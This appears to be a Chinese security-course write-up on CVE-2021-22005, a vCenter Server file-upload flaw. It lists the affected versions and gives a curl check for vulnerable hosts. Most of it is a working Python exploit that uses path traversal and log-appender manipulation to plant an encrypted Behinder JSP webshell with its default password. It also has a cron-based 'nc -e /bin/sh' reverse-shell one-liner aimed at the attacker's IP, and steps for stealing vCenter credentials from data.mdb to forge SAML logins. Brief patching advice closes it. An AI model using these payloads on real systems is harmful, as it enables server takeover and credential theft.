文章来源|MS08067 “WEB攻防”知识星球
本文作者:Taoing(WEB高级漏洞挖掘班讲师)
漏洞描述
VMware是一家云基础架构和移动商务解决方案厂商,提供基于VMware的虚拟化解决方案。2021年9月22日,VMware 官方发布安全公告,披露了包括 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞在内的多个中高危严重漏洞。在CVE-2021-22005中,攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞。
漏洞影响
针对 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞 VMware vCenter Server 7.0系列 < 7.0 U2c VMware vCenter Server 6.7系列 < 6.7 U3o VMware vCenter Server 6.5系列 不受漏洞影响 其余漏洞受影响版本可参考
https://www.vmware.com/security/advisories/VMSA-2021-0020.html 安全版本: VMware vCenter Server 7.0 U2c VMware vCenter Server 6.7 U3o
环境搭建
vcenter server7.0安装
https://blog.csdn.net/Rio520/article/details/115664112
VMware-VCSA-all-7.0.0-15952498.iso
https://pan.baidu.com/share/init?surl=oW3JQWIeJoYcnbbJn8PBjw
提取码:x6fa
漏洞复现
漏洞批量检测poc
我们可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别你的服务器是否受影响。
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
•如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。
•如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。
•如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。
•如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。 任何其他状态代码可能暗示不适用。
漏洞EXP:
python3 CVE-2021-22005_poc.py -t https://ip
import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def escape(_str):
_str = _str.replace("&", "&")
_str = _str.replace("<", "<")
_str = _str.replace(">", ">")
_str = _str.replace("\"", """)
return _str
def str_to_escaped_unicode(arg_str):
escaped_str = ''
for s in arg_str:
val = ord(s)
esc_uni = "\\u{:04x}".format(val)
escaped_str += esc_uni
return escaped_str
def createAgent(target, agent_name, log_param):
url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
headers = { "Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
"Connection": "close" }
json_data = { "manifestSpec":{},
"objectType": "a2",
"collectionTriggerDataNeeded": True,
"deploymentDataNeeded":True,
"resultNeeded": True,
"signalCollectionCompleted":True,
"localManifestPath": "a7",
"localPayloadPath": "a8",
"localObfuscationMapPath": "a9" }
requests.post(url, headers=headers, json=json_data, verify=False)
def generate_manifest(webshell_location, webshell):
manifestData = """<manifest recommendedPageSize="500">
<request>
<query name="vir:VCenter">
<constraint>
<targetType>ServiceInstance</targetType>
</constraint>
<propertySpec>
<propertyNames>content.about.instanceUuid</propertyNames>
<propertyNames>content.about.osType</propertyNames>
<propertyNames>content.about.build</propertyNames>
<propertyNames>content.about.version</propertyNames>
</propertySpec>
</query>
</request>
<cdfMapping>
<indepedentResultsMapping>
<resultSetMappings>
<entry>
<key>vir:VCenter</key>
<value>
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
<resourceItemToJsonLdMapping>
<forType>ServiceInstance</forType>
<mappingCode><![CDATA[
#set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
#set($orig_log = $appender.getFile())##
#set($logger = $GLOBAL-logger.logger.parent)##
$appender.setFile("%s")##
$appender.activateOptions()##
$logger.warn("%s")##
$appender.setFile($orig_log)##
$appender.activateOptions()##]]>
</mappingCode>
</resourceItemToJsonLdMapping>
</value>
</value>
</entry>
</resultSetMappings>
</indepedentResultsMapping>
</cdfMapping>
<requestSchedules>
<schedule interval="1h">
<queries>
<query>vir:VCenter</query>
</queries>
</schedule>
</requestSchedules>
</manifest>""" % (webshell_location, webshell)
return manifestData
def arg():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help = "Target", required = True)
args = parser.parse_args()
target = args.target
print("[*] Target: %s" % target)
return target
def exec():
target = arg()
# Variables
webshell_param = id_generator(6)
log_param = id_generator(6)
agent_name = id_generator(6)
shell_name = "Server.jsp"
webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""
webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
webshell = str_to_escaped_unicode(webshell)
manifestData = generate_manifest(webshell_location,webshell)
print("[*] Creating Agent")
createAgent(target, agent_name, log_param)
url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
"Connection": "close"}
json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
requests.post(url, headers=headers, json=json_data, verify=False)
#webshell连接地址
url = "%s/idm/..;/%s" % (target, shell_name)
code = requests.get(url=url, headers=headers,verify=False).status_code
if code != "404":
print("webshell地址: %s" % url)
print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )
else:
print("未获取到webshell地址")
if __name__ == '__main__':
exec()
反弹shell EXP:
curl -kv "https:/xx.xx.xx.xx/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh Your IP port"
这里我没成功
vCenter cookie读取登录:
存储关键身份验证信息数据位置:
•Linux:
/storage/db/vmware-vmdir/data.mdb
•Windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
读cookie:
下载解密脚本:
git clone https://github.com/horizon3ai/vcenter_saml_login.git
用法:
python3 vcenter_saml_login.py -p data.mdb -t 10.1.2.174
如果提示库文件缺少使用下面方法解决: ModuleNotFoundError: No module named 'OpenSSL'解决方法 pip3 install pyOpenSSL ModuleNotFoundError: No module named 'ldap'解决方法 pip3 install python-ldap ModuleNotFoundError: No module named 'signxml' 解决方法 pip3 install signxml
修复方案
1、升级VMware vCenter Server 至最新版本。
2、针对 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞,可按照 https://kb.vmware.com/s/article/85717 相关措施进行缓解。
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